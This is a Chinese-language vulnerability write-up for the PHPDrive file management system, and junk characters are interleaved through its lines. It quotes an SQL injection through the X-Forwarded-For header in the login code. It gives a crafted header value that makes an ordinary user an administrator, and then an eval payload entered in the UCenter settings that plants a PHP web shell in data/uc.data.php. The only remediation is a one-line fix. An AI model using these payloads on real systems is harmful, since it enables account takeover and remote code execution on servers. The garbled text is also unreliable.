PHPDrive 是一套运行于 PHP 环境的文件管理系统,可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等
& d. N; H: Y, F9 ^2 s! A" i2 ^2 h6 |, {% C0 \# r
includes/user.lib.php: f2 b |- r2 F7 m' p3 ^
行871 M9 p4 B7 d1 v: B
function get_ip() {" X% C: i9 s" l% M7 ]
if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.8 I( N$ J1 g _# @; I l, i, ^
在用户注册与登录 处module/disk/account.lead.php$ J" O' ~( \% X+ Q
198行 \0 C1 X) `. E' A) |
//更新本次登录IP和时间+ k m& O8 t9 l) m$ [- ?' V
$db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生
_% E( \1 K) J. ~" t由于本套程序user与manager是存在于同一个表下的,只是用group字段来区分两者,group=1为管理员,2则为普通用户。所以可以利用以上注入,将普通用户的group值改为1,即可提升权限4 }9 b9 i) G! \8 ^
实现方法:使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆,这时候你就是管理员了.- l. j. _5 H1 V* k% n# B* Z
后台getshell:# ~, K( v; E, v) \
在UCenter设置处,将UC数据库登录名填写为4 g8 i5 t. i L, c
8 r: p3 T$ g! ~1 G2 @1 o' K! Z
root’);eval($_POST[DisKill]);?>/*0 _3 k% w0 r0 y6 S
可以得到一个shell,位置在 data/uc.data.php8 F1 g6 n9 S2 x. m- j9 d, @- _
2 H6 s3 N! n! J: ~$ M修复:过滤注入, I, W; }2 H! e- d7 }
% _/ N& u; Y1 H( R/ L( V/ }) \) @ |